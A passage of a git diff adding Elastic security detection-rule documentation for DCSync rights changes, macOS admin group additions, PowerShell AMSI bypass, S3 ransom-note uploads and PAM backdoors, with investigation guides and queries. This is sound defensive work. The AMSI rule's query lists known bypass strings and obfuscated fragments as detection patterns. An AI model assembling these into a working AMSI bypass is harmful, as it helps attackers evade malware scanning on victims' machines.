the nTSecurityDescriptor attribute for the affected account to remove replication rights. +- Conduct a thorough review of recent changes to the AD environment, focusing on accounts with elevated privileges, to identify any other unauthorized modifications. +- Reset passwords for all accounts that may have been compromised, prioritizing those with administrative or sensitive access. +- Implement additional monitoring on the affected account and related systems to detect any further suspicious activity. +- Escalate the incident to the security operations center (SOC) or incident response team for a comprehensive investigation and to determine the full scope of the breach. +- Review and update access control policies and security descriptors in Active Directory to prevent similar unauthorized changes in the future. + +==== Setup + + +The 'Audit Directory Service Changes' logging policy must be configured for (Success, Failure). +Steps to implement the logging policy with Advanced Audit Configuration: + +``` +Computer Configuration > +Policies > +Windows Settings > +Security Settings > +Advanced Audit Policies Configuration > +Audit Policies > +DS Access > +Audit Directory Service Changes (Success,Failure) +``` + +==== Rule query + + +[source, js] +---------------------------------- +event.code:"5136" and host.os.type:"windows" and + winlog.event_data.AttributeLDAPDisplayName:"nTSecurityDescriptor" and + winlog.event_data.AttributeValue : ( + ( + *1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-* and + *1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-* and + *89e95b76-444d-4c62-991a-0facbeda640c;;S-1-5-21-* + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: DCSync +** ID: T1003.006 +** Reference URL: https://attack.mitre.org/techniques/T1003/006/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-admin-group-account-addition.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-admin-group-account-addition.asciidoc new file mode 100644 index 0000000000..eae74f22bc --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-admin-group-account-addition.asciidoc @@ -0,0 +1,164 @@ +[[prebuilt-rule-8-19-20-potential-admin-group-account-addition]] +=== Potential Admin Group Account Addition + +Identifies attempts to add an account to the admin group via the command line. This could be an indication of privilege escalation activity. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://managingosx.wordpress.com/2010/01/14/add-a-user-to-the-admin-group-via-command-line-3-0/ + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 211 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Admin Group Account Addition* + + +In macOS environments, tools like `dscl` and `dseditgroup` manage user group memberships, including admin groups. Adversaries may exploit these tools to escalate privileges by adding accounts to admin groups, gaining unauthorized access. The detection rule identifies such attempts by monitoring process activities related to these tools, excluding legitimate management services, to flag potential privilege escalation. + + +*Possible investigation steps* + + +- Review the process details to confirm the use of `dscl` or `dseditgroup` with arguments indicating an attempt to add an account to the admin group, such as "/Groups/admin" and "-a" or "-append". +- Check the process's parent executable path to ensure it is not one of the legitimate management services excluded in the query, such as JamfDaemon, JamfManagementService, jumpcloud-agent, or Addigy go-agent. +- Investigate the user account associated with the process to determine if it has a history of legitimate administrative actions or if it appears suspicious. +- Examine recent login events and user activity on the host to identify any unusual patterns or unauthorized access attempts. +- Correlate the alert with other security events or logs from the same host to identify any related suspicious activities or potential indicators of compromise. +- Assess the risk and impact of the account addition by determining if the account has been successfully added to the admin group and if any unauthorized changes have been made. + + +*False positive analysis* + + +- Legitimate management services like JAMF and JumpCloud may trigger false positives when they manage user group memberships. These services are already excluded in the rule, but ensure any additional management tools used in your environment are similarly excluded. +- Automated scripts or maintenance tasks that require temporary admin access might be flagged. Review these scripts and consider adding them to the exclusion list if they are verified as safe. +- System updates or software installations that modify group memberships could be misidentified. Monitor these activities and adjust the rule to exclude known update processes if they are consistently flagged. +- User-initiated actions that are part of normal IT operations, such as adding a new admin for legitimate purposes, may appear as false positives. Ensure that such actions are documented and communicated to avoid unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected macOS system from the network to prevent further unauthorized access or privilege escalation. +- Review the process execution logs to confirm unauthorized use of `dscl` or `dseditgroup` for adding accounts to the admin group, ensuring the activity is not part of legitimate administrative tasks. +- Remove any unauthorized accounts from the admin group to restore proper access controls and prevent further misuse of elevated privileges. +- Conduct a thorough review of all admin group memberships on the affected system to ensure no other unauthorized accounts have been added. +- Reset passwords for any accounts that were added to the admin group without authorization to prevent further unauthorized access. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring and alerting for similar activities across the network to detect and respond to future privilege escalation attempts promptly. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "macos" and event.type in ("start", "process_started") and + process.name in ("dscl", "dseditgroup") and process.args like~ ("/Groups/admin", "admin") and process.args like ("-a", "-append") and + not process.Ext.effective_parent.executable like ("/Library/Application Support/JAMF/Jamf.app/Contents/MacOS/JamfDaemon.app/Contents/MacOS/JamfDaemon", + "/Library/Application Support/JAMF/Jamf.app/Contents/MacOS/JamfManagementService.app/Contents/MacOS/JamfManagementService", + "/opt/jc/bin/jumpcloud-agent", + "/Library/Addigy/go-agent") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Local Accounts +** ID: T1078.003 +** Reference URL: https://attack.mitre.org/techniques/T1078/003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Local or Domain Groups +** ID: T1098.007 +** Reference URL: https://attack.mitre.org/techniques/T1098/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-antimalware-scan-interface-bypass-via-powershell.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-antimalware-scan-interface-bypass-via-powershell.asciidoc new file mode 100644 index 0000000000..c8f1d5f851 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-antimalware-scan-interface-bypass-via-powershell.asciidoc @@ -0,0 +1,204 @@ +[[prebuilt-rule-8-19-20-potential-antimalware-scan-interface-bypass-via-powershell]] +=== Potential Antimalware Scan Interface Bypass via PowerShell + +Detects PowerShell scripts that references Antimalware Scan Interface (AMSI) bypass classes, methods, or known bypass strings. Attackers attempt AMSI bypass to disable scanning and run malicious PowerShell content undetected. + +*Rule type*: query + +*Rule indices*: + +* winlogbeat-* +* logs-windows.powershell* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: PowerShell Logs +* Resources: Investigation Guide + +*Version*: 117 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Antimalware Scan Interface Bypass via PowerShell* + + +This rule detects PowerShell script block content that references Antimalware Scan Interface (AMSI) bypass techniques. This behavior is commonly used to impair PowerShell content scanning and is frequently a precursor to additional PowerShell activity that would otherwise be inspected. + + +*Key alert fields to review* + + +- `user.name`, `user.domain`, `user.id`: Account execution context for correlation, prioritization, and scoping. +- `host.name`, `host.id`: Host execution context for correlation, prioritization, and scoping. +- `powershell.file.script_block_text`: Script block content that matched the detection logic. +- `powershell.file.script_block_id`, `powershell.sequence`, `powershell.total`: Script block metadata to pivot to other fragments or reconstruct full script content when split across multiple events. +- `file.path`, `file.directory`, `file.name`: File-origin context when the script block is sourced from an on-disk file. +- `powershell.file.script_block_length`: Script block length (size) context. + + +*Possible investigation steps* + + +- Validate the intent of the script block: + - Review `powershell.file.script_block_text` and identify which AMSI-related indicators are present (for example, `System.Management.Automation.AmsiUtils`, `amsiInitFailed`, `amsiContext`, `amsiSession`, `AmsiInitialize`, `amsi.dll`). + - Identify bypass techniques suggested by the script content, such as reflection-based field modification (for example, `Assembly.GetType(` and `.SetValue(`) or in-memory modification patterns (for example, `AllocHGlobal`). + - Note explicit bypass helper names in the script text (for example, `Invoke-AmsiBypass`, `Bypass.AMSI`, `FindAmsiFun`, `unloadobfuscated`, `unloadsilent`) and any obfuscation (mixed casing, character-code string construction, normalization, or heavy use of `-replace`). + - Treat this alert as an AMSI bypass attempt; success is not typically confirmed from the matching script block alone, so prioritize follow-on activity review. +- Reconstruct the complete script when content is split across multiple events: + - Pivot on `powershell.file.script_block_id` and collect all related fragments. + - Order fragments by `powershell.sequence` and confirm the expected count with `powershell.total`. + - Re-review the reconstructed text for additional behaviors beyond the bypass attempt (for example, retrieving additional content, decoding staged data, or invoking suspicious functions). +- Determine the likely source of the script content: + - Review `file.path` and `file.name` when present to identify an on-disk script source. + - Assess whether the path and filename align with established administrative tooling for the user/host, or whether it appears in an unexpected or transient location (for example, user profile, Temp, Downloads, or other user-writable locations). + - If `file.path` is not present, treat the source as unknown and prioritize correlation with other telemetry based on `host.name` and `@timestamp`. +- Establish the execution scope and operator context: + - Review `user.name`, `user.domain`, and `user.id` to understand which account generated the script block content and whether it is expected to run PowerShell on `host.name`. + - Review `host.name` and `host.id` to determine whether the activity is isolated to a single endpoint or recurring across multiple systems. + - Identify repeated alerts involving the same `user.id` and/or `host.id` in a short period, which may indicate iterative testing of bypass variants or repeated execution of the same script. +- Hunt for related PowerShell activity on the same endpoint and account: + - Search for additional script blocks on the same `host.id` around `@timestamp` to identify activity immediately before and after the bypass attempt. + - Use distinctive strings from `powershell.file.script_block_text` (function names, variable names, or unique encodings) to identify reuse by the same `user.id` or across other hosts. + - Extract any observable indicators embedded in the script text (for example, domains, IPs, URLs, or file paths) and use them to expand scoping searches. +- Correlate with adjacent telemetry using `host.name`, `user.name`, and the alert time window (if available in your environment): + - Process execution telemetry to identify how PowerShell was launched and the initiating parent process (interactive use vs. another application or automation). + - Network telemetry for outbound connections and DNS activity that align with any remote retrieval or command-and-control behavior implied by the script content. + - File and registry telemetry for artifacts consistent with payload staging or persistence created shortly after the bypass attempt. + - Authentication telemetry to identify unusual or new logon activity for the implicated user on the affected host near the alert time. + + +*False positive analysis* + + +- Training material or code snippets may be executed verbatim in a console during learning exercises. Confirm the context in `powershell.file.script_block_text` and whether additional suspicious behaviors appear in nearby script blocks from the same user and host. + + +*Response and remediation* + + +- If the activity is confirmed or strongly suspected to be malicious: + - Contain the affected host to prevent further execution and lateral movement. + - Preserve evidence from the alert: `powershell.file.script_block_text`, `powershell.file.script_block_id`, `powershell.sequence`, `powershell.total`, `host.name`, `host.id`, `user.name`, `user.domain`, `user.id`, and any associated `file.path`/`file.name`. + - If `file.path` is present, collect the referenced script from disk (if still available) and identify where else it exists in the environment. + - Scope for additional impacted systems by searching for the same bypass strings and distinctive patterns across other hosts and users. + - Investigate and remediate follow-on actions identified in the reconstructed script and adjacent script blocks (for example, retrieval of additional code, credential access attempts, or persistence). + - Reset credentials for involved accounts when warranted and review for further suspicious activity tied to `user.id` across the environment. +- Reduce the likelihood of recurrence: + - Ensure PowerShell logging is appropriately enabled and centrally collected to support reconstruction and scoping. + - Apply least privilege and limit PowerShell usage to approved roles and systems where feasible. + - Review monitoring coverage for repeated AMSI bypass attempts and related PowerShell activity on the same host or by the same user. + + +==== Setup + + + +*Setup* + + +PowerShell Script Block Logging must be enabled to generate the events used by this rule (e.g., 4104). +Setup instructions: https://ela.st/powershell-logging-setup + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:"process" and host.os.type:windows and + ( + powershell.file.script_block_text : ( + "System.Management.Automation.AmsiUtils" or + amsiInitFailed or + "Invoke-AmsiBypass" or + "Bypass.AMSI" or + "amsi.dll" or + AntimalwareProvider or + amsiSession or + amsiContext or + AmsiInitialize or + unloadobfuscated or + unloadsilent or + AmsiX64 or + AmsiX32 or + FindAmsiFun or + "AllocHGlobal((9076" or + "[cHAr](65)+[cHaR]([byTe]0x6d)+[ChaR]([ByTe]0x73)+[CHaR]([BYte]0x69" + ) or + powershell.file.script_block_text:("[Ref].Assembly.GetType(('System.Management.Automation" and ".SetValue(") or + powershell.file.script_block_text:("::AllocHGlobal((" and ".SetValue(" and "-replace" and ".NoRMALiZe(") + ) and + not powershell.file.script_block_text : ( + "sentinelbreakpoints" and "Set-PSBreakpoint" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Sub-technique: +** Name: Command Obfuscation +** ID: T1027.010 +** Reference URL: https://attack.mitre.org/techniques/T1027/010/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-aws-s3-bucket-ransomware-note-uploaded.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-aws-s3-bucket-ransomware-note-uploaded.asciidoc new file mode 100644 index 0000000000..8b97076e06 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-aws-s3-bucket-ransomware-note-uploaded.asciidoc @@ -0,0 +1,177 @@ +[[prebuilt-rule-8-19-20-potential-aws-s3-bucket-ransomware-note-uploaded]] +=== Potential AWS S3 Bucket Ransomware Note Uploaded + +Identifies potential ransomware note being uploaded to an AWS S3 bucket. This rule detects the PutObject S3 API call with an object name commonly associated with ransomware notes. The keywords detected here rarely overlap with common file names and have been attributed to ransomware notes with high-confidence. Adversaries with access to a misconfigured S3 bucket may retrieve, delete, and replace objects with ransom notes to extort victims. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://stratus-red-team.cloud/attack-techniques/AWS/aws.impact.s3-ransomware-batch-deletion/ +* https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/ +* https://www.mdpi.com/2073-431X/10/11/145#computers-10-00145-f002 + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS S3 +* Use Case: Threat Detection +* Tactic: Impact +* Resources: Investigation Guide + +*Version*: 11 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential AWS S3 Bucket Ransomware Note Uploaded* + + +This rule detects a successful `PutObject` to S3 where the object key matches common ransomware-note patterns (for example, `readme`, `decrypt`, `ransom`, and combinations with `file`). Attackers who obtain credentials or abuse overly-permissive bucket policies can upload ransom notes (often after deleting or encrypting data). + + +*Possible investigation steps* + + +**Confirm the actor and session details** +- Review `aws.cloudtrail.user_identity.*` (ARN, type, access key, session context), `source.ip`, `user.agent`, and `tls.client.server_name` to identify who performed the upload and from where. Validate whether this principal typically writes to this bucket. + +**Inspect the object key and bucket context** +- From `aws.cloudtrail.request_parameters`, capture the exact `key` and `bucketName`. Check whether the key is publicly readable (ACL), whether the bucket is internet-exposed, and whether replication or lifecycle rules could propagate or remove related objects. + +**Pivot to related S3 activity around the same time** +- Look for `DeleteObject`/`DeleteObjects`, mass `PutObject` spikes, `PutBucketPolicy`, `PutPublicAccessBlock`, `PutBucketVersioning`, and `PutBucketLifecycleConfiguration` events on the same bucket or by the same actor to determine if data destruction, policy tampering, or guard-rail changes occurred. + +**Assess blast radius across the account** +- Search recent CloudTrail for the same actor/IP touching other buckets, KMS keys used by those buckets, and IAM changes (new access keys, policy attachments, role assumptions) that could indicate broader compromise paths consistent with ransomware playbooks. + +**Check protections and recovery posture on the bucket** +- Verify whether S3 Versioning and (if in use) Object Lock legal hold are enabled; note prior versions available for the affected key, and whether lifecycle rules might expire them. + +**Correlate with threat signals** +- Review other related alerts, GuardDuty S3-related findings, AWS Config drift on the bucket and its policy, and any SOAR/IR runbook executions tied to ransomware triage. + + +*False positive analysis* + +- Planned tests or red-team exercises +- Benign automation naming. Some data-migration or backup tools may use “readme”/“recovery”-style filenames; validate by `user.agent`, principal, and target environment (dev vs prod). + + + +*Response and remediation* + + +**Immediate, low-risk actions (safe for most environments)** +- **Preserve context** : Export the triggering `PutObject` CloudTrail record(s), plus 15–30 min before/after, to an evidence bucket (restricted access). +- **Snapshot configuration** : Record current bucket settings (Block Public Access, Versioning, Object Lock, Bucket Policy, Lifecycle rules) and any KMS keys used. +- **Quiet the spread** : Pause destructive automation: disable/bypass lifecycle rules that would expire/delete object versions; temporarily pause data pipelines targeting the bucket. +- **Notify owners** : Inform the bucket/application owner(s) and security leadership. + +**Containment options (choose the least disruptive first)** +- **Harden exposure** : If not already enforced, enable `Block Public Access` for the bucket. +- **Targeted deny policy (temporary)** : Add a restrictive bucket policy allowing only IR/admin roles while you scope impact. Reconfirm critical workload dependencies before applying. +- **Credential risk reduction** : If a specific IAM user/key or role is implicated, rotate access keys; for roles, remove risky policy attachments or temporarily restrict with an SCP/deny statement. + +**Evidence preservation** +- Export relevant CloudTrail events, S3 server/access logs (if enabled), AWS Config history for the bucket/policy, and the suspicious object plus its previous versions (if Versioning is enabled). +- Document actor ARN, source IPs, user agent(s), exact `bucketName`/`key`, and timestamps. Maintain a simple chain-of-custody note for collected artifacts. + +**Scope and hunting (same actor/time window)** +- Look for `DeleteObject(s)`, unusual `PutObject` volume, `PutBucketPolicy`, `PutPublicAccessBlock`, `PutBucketVersioning` changes, `PutBucketLifecycleConfiguration`, and cross-account access. +- Cross reference other buckets touched by the same actor/IP; recent IAM changes (new keys, policy/role edits); GuardDuty findings tied to S3/credentials. + +**Recovery (prioritize data integrity)** +- If Versioning is enabled, restore last known-good versions for impacted objects. Consider applying Object Lock legal hold to clean versions during recovery if configured. +- If Versioning is not enabled, recover from backups (AWS Backup, replication targets). Enable Versioning going forward on critical buckets; evaluate Object Lock for high-value data. +- Carefully remove any temporary deny policy only after credentials are rotated, policies re-validated, and no ongoing destructive activity is observed. + +**Post-incident hardening** +- Enforce `Block Public Access`, enable Versioning (and MFA-Delete where appropriate), and review bucket policies for least privilege. +- Ensure continuous CloudTrail data events for S3 are enabled in covered regions; enable/verify GuardDuty S3 protections and alerts routing. +- Add detections for related behaviors (policy tampering, bulk deletes, versioning/lifecycle toggles) and create allowlists for known maintenance windows. + + + +*Additional information* + + +- For further guidance on managing S3 bucket security and protecting against ransomware, refer to the https://docs.aws.amazon.com/AmazonS3/latest/userguide/Welcome.html[AWS S3 documentation] and AWS best practices for security. +- https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/IRP-Ransomware.md[AWS IRP—Ransomware] (NIST-aligned template for evidence, containment, eradication, recovery, post-incident). +- https://github.com/aws-samples/aws-customer-playbook-framework/blob/a8c7b313636b406a375952ac00b2d68e89a991f2/docs/Ransom_Response_S3.md[AWS Customer Playbook—Ransom Response (S3)] (bucket-level response steps: public access blocks, temporary deny, versioning/object lock, lifecycle considerations, recovery). + + +==== Setup + + +AWS S3 data types need to be enabled in the CloudTrail trail configuration to capture PutObject API calls. + +==== Rule query + + +[source, js] +---------------------------------- +file where + event.dataset == "aws.cloudtrail" and + event.provider == "s3.amazonaws.com" and + event.action == "PutObject" and + event.outcome == "success" and + /* Apply regex to match patterns only after the bucket name */ + /* common ransom note file name keywords */ + aws.cloudtrail.resources.arn regex~ "arn:aws:s3:::[^/]+/.*?(how|decrypt|restor|help|instruct|read|get|recov|save|encrypt|info|ransom).*" + and not aws.cloudtrail.resources.arn regex~ ".*(AWSLogs|CloudTrail|access-logs).*" + and not aws.cloudtrail.user_identity.type == "AWSService" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ +* Technique: +** Name: Data Encrypted for Impact +** ID: T1486 +** Reference URL: https://attack.mitre.org/techniques/T1486/ +* Technique: +** Name: Data Manipulation +** ID: T1565 +** Reference URL: https://attack.mitre.org/techniques/T1565/ +* Sub-technique: +** Name: Stored Data Manipulation +** ID: T1565.001 +** Reference URL: https://attack.mitre.org/techniques/T1565/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-backdoor-execution-through-pam-exec.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-backdoor-execution-through-pam-exec.asciidoc new file mode 100644 index 0000000000..a926643477 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-backdoor-execution-through-pam-exec.asciidoc @@ -0,0 +1,160 @@ +[[prebuilt-rule-8-19-20-potential-backdoor-execution-through-pam-exec]] +=== Potential Backdoor Execution Through PAM_EXEC + +This rule detects SSH session ID change followed by a suspicious SSHD child process, this may indicate the successful execution of a potentially malicious process through the Pluggable Authentication Module (PAM) utility. PAM is a framework used by Linux systems to authenticate users. Adversaries may create malicious PAM modules that grant them persistence onto the target every time a user logs in by executing a backdoor script or command. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/approaching-the-summit-on-persistence +* https://www.group-ib.com/blog/pluggable-authentication-module/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Backdoor Execution Through PAM_EXEC* + + +PAM (Pluggable Authentication Module) is a critical framework in Linux systems for user authentication. Adversaries may exploit PAM by inserting malicious modules that execute backdoor scripts during user logins, ensuring persistent access. The detection rule identifies this threat by monitoring SSH session changes followed by unusual child processes, often indicative of backdoor execution, especially when these processes originate from suspicious directories or use scripting languages. + + +*Possible investigation steps* + + +- Review the process entity ID associated with the alert to identify the specific SSH session and its related activities. +- Examine the parent process details, specifically focusing on the SSH or SSHD process, to determine the source and legitimacy of the login attempt. +- Investigate the child process that was started, paying close attention to its name and executable path, especially if it matches patterns like scripting languages (e.g., perl, python) or suspicious directories (e.g., /tmp, /var/tmp). +- Check the process arguments count and content to understand the command or script being executed, which may provide insights into the potential backdoor's functionality. +- Correlate the event timestamp with user login records and system logs to identify any unusual login patterns or unauthorized access attempts. +- Assess the risk and impact by determining if the process has made any unauthorized changes to the system or if it has established any persistent mechanisms. +- If a backdoor is confirmed, initiate containment measures such as terminating the malicious process, removing the unauthorized PAM module, and conducting a full system audit to prevent further exploitation. + + +*False positive analysis* + + +- Legitimate administrative scripts executed via SSH may trigger the rule if they use scripting languages like Perl, Python, or PHP. To handle this, identify and whitelist known administrative scripts and their execution paths. +- Automated backup or maintenance processes that run from directories like /var/backups or /var/log can be mistaken for malicious activity. Exclude these processes by specifying their exact paths and names in the exception list. +- Development or testing environments where scripts are frequently executed from temporary directories such as /tmp or /dev/shm may cause false positives. Implement exceptions for these environments by defining specific user accounts or process names that are known to be safe. +- Custom monitoring or logging tools that spawn child processes from SSH sessions might be flagged. Review these tools and add them to the exclusion list if they are verified as non-threatening. +- Regular user activities involving the use of scripting languages for legitimate purposes can be misinterpreted. Educate users on best practices and adjust the rule to exclude common benign scripts used in daily operations. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious processes identified by the detection rule, especially those originating from unusual directories or using scripting languages. +- Conduct a thorough review of PAM configuration files and modules to identify and remove any unauthorized or malicious entries. +- Reset credentials for all users on the affected system, prioritizing those with elevated privileges, to mitigate potential credential compromise. +- Restore the system from a known good backup if malicious modifications are confirmed, ensuring that the backup is free from tampering. +- Implement enhanced monitoring on the affected system and similar environments to detect any recurrence of the threat, focusing on SSH session changes and unusual child processes. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to assess the potential impact on other systems within the network. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id with maxspan=3s + [process where host.os.type == "linux" and event.type == "change" and event.action == "session_id_change" and process.name in ("ssh", "sshd")] + [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and process.parent.name in ("ssh", "sshd") and + process.args_count == 2 and process.args like ( + "sh", "dash", "bash", "zsh", + "perl*", "python*", "php*", "ruby*", "lua*", + + "/bin/sh", "/bin/dash", "/bin/bash", "/bin/zsh", + "/bin/perl*", "/bin/python*", "/bin/php*", "/bin/ruby*", "/bin/lua*", + + "/usr/bin/sh", "/usr/bin/dash", "/usr/bin/bash", "/usr/bin/zsh", + "/usr/bin/perl*", "/usr/bin/python*", "/usr/bin/php*", "/usr/bin/ruby*", "/usr/bin/lua*", + + "/usr/local/bin/sh", "/usr/local/bin/dash", "/usr/local/bin/bash", "/usr/local/bin/zsh", + "/usr/local/bin/perl*", "/usr/local/bin/python*", "/usr/local/bin/php*", "/usr/local/bin/ruby*", "/usr/local/bin/lua*" + ) and ( + process.name like ".*" or + process.executable like ( + "/tmp/*", "/var/tmp/*", "/dev/shm/*", "./*", "/boot/*", "/sys/*", "/lost+found/*", "/media/*", "/proc/*", "/bin/*", "/usr/bin/*", + "/sbin/*", "/usr/sbin/*", "/lib/*", "/lib64/*", "/usr/lib/*", "/usr/lib64/*", "/opt/*", "/var/lib/*", "/run/*", "/var/backups/*", + "/var/log/*", "/var/mail/*", "/var/spool/*" + ) + ) + ] + +---------------------------------- + +*Framework*: MITRE 